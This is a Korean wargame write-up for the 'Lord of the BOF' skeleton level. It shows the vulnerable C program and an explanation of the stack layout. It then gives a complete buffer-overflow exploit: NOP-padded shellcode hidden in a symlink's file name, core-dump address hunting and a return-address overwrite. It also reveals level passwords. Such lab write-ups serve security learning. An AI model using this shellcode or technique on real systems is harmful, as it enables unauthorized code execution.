login as : vampire
password : music world
문제 확인
/*
The Lord of the BOF : The Fellowship of the BOF
- skeleton
- argv hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i, saved_argc;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
// argc saver
saved_argc = argc;
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
// ultra argv hunter!
for(i=0; i<saved_argc; i++)
memset(argv[i], 0, strlen(argv[i]));
}
1. 커맨드라인 인자가 필요하다.
2. 환경 변수는 이용할 수 없다.
3. RET 부분에 덮어쓸 주소는 스택 공간의 주소여야 한다.
4. 커맨드라인 인자의 길이는 48byte를 넘으면 안된다.
5. buffer[40]의 값을 0으로 초기화 한다.
6. argc 값을 저장해뒀다가 argv[0]부터 argv[n]까지 전부 초기화한다.
이번 문제는 환경 변수를 사용할 수 없고, buffer[40]에 셸코드를 저장해둘 수 없고, argv에도 셸코드를 저장해둘 수 없다.
하지만 여전히 3번째 조건이 있는 것으로 보아 스택 공간을 이용할 수 있다는 것이다.
스택 레이아웃
낮은 주소
...
local variables of main
saved registers of main
return address of main
argc
argv
envp
stack from startup code
argc
argv pointers
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
높은 주소
이번 문제에서는 환경 변수, buffer[40], argv를 이용할 수 없기 때문에 스택에 셸코드를 저장해둘만한 다른 공간이 있나 찾아보기 위해 스택 레이아웃을 보면 높은 주소에 가장 가까운 값인 program name 항목이 보인다.
즉 커맨드라인 인자 argv[0]에 있는 프로그램 이름이 아니라 프로그램 이름 값 자체가 스택에 쌓인다는 것이다.
그러면 이전에 argv[0]의 주소로 반환되도록 했던 기법을 응용하여 argv[0]의 주소 대신 program name이 있는 스택의 주소로 반환되게 하면 될 것이다.
dummy 값 확인
지역 변수를 위한 공간으로 48byte를 할당하는 것으로 보아 dummy 값은 존재하지 않는다.
이번 문제에서는 buffer[40]와 더불어 두 개의 지역 변수가 추가로 있기 때문이다.
공격
cp skeleton skeleton2
ln -s skeleton2 `python -c 'print "\x90" * 50 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + "\x90" * 50'`
먼저 core 파일을 생성하기 위해 skeleton 파일을 skeleton2 파일로 복사한다.
(core 파일이 생성되려면 같은 권한에서 segmentation fault가 발생해야 하기 때문이다.)
그리고 프로그램 이름에 셸코드를 넣어 실행하는 방법으로 심볼릭 링크를 이용한다.
프로그램 이름 자체를 mv 명령을 이용해 수정해도 되지만, 심볼릭 링크를 이용해 실행하도록 한다.
참고) 프로그램 이름에 0x2f가 들어가면 '/'로 인식되어 디렉토리 경로로 해석되므로 0x2f가 없는 셸코드를 사용한다.
./`python -c 'print "\x90" * 50 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + "\x90" * 50'` `python -c 'print "\x90"*44 + "\xbf\xbf\xbf\xbf"'`
gdb -q -c core
x/1000s $esp
심볼릭 링크 파일로 skeleton2를 실행하면 core 파일이 생성되고, 스택 마지막 쪽(큰 주소 쪽)을 보면 셸코드 형태인 프로그램 이름 자체가 들어가 있는데 이 주소는 0xbfffff65이다.
참고) 값이 없는 경우 gdb x/s 명령은 1byte씩 읽는다.
rm `python -c 'print "\x90" * 50 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + "\x90" * 50'`
ln -s skeleton `python -c 'print "\x90" * 50 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + "\x90" * 50'`
./`python -c 'print "\x90" * 50 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + "\x90" * 50'` `python -c 'print "\x90" * 44 + "\x65\xff\xff\xbf"'`
테스트에 사용하기 위해 skeleton2에 걸어둔 심볼릭 링크 파일을 삭제하고
공격을 위해 skeleton에 심볼릭 링크를 건 파일을 생성한 다음
심볼릭 링크 파일을 이용해 skeleton에 공격을 하면 위와 같이 skeleton의 password인 shellcoder를 얻을 수 있다.
시행착오
이번 문제를 풀다가 깨달은 것은 셸코드가 스택 끝에 너무 가까우면 실행되지 않을 수 있다는 것이다.
`python -c 'print "\x90" * 50 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
원래는 위와 같이 "NOP+shellcode" 구성으로 된 셸코드를 이용해 공격을 했는데 공격이 되지 않아 뭐가 문제일까 싶어 고민하다가 도저히 답을 모르겠어서 다른 블로그들을 참고하다 보니 https://liveyourit.tistory.com/139 이 블로그에서 답을 찾게 되었다.
이전 문제들 중 셸코드가 RET 부분과 너무 가까이 있으면 실행되지 않는 경우가 있었는데 그 경우와 비슷하다.
`python -c 'print "\x90" * 50 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + "\x90" * 50'`
그저 위와 같이 NOP + shellcode + NOP 구성으로 바꿔주니 정상적으로 셸코드가 실행됐다.
\x2f가 없는 셸코드 출처 : https://hackhijack64.tistory.com/38
스택 레이아웃 : https://www.win.tue.nl/~aeb/linux/hh/stack-layout.html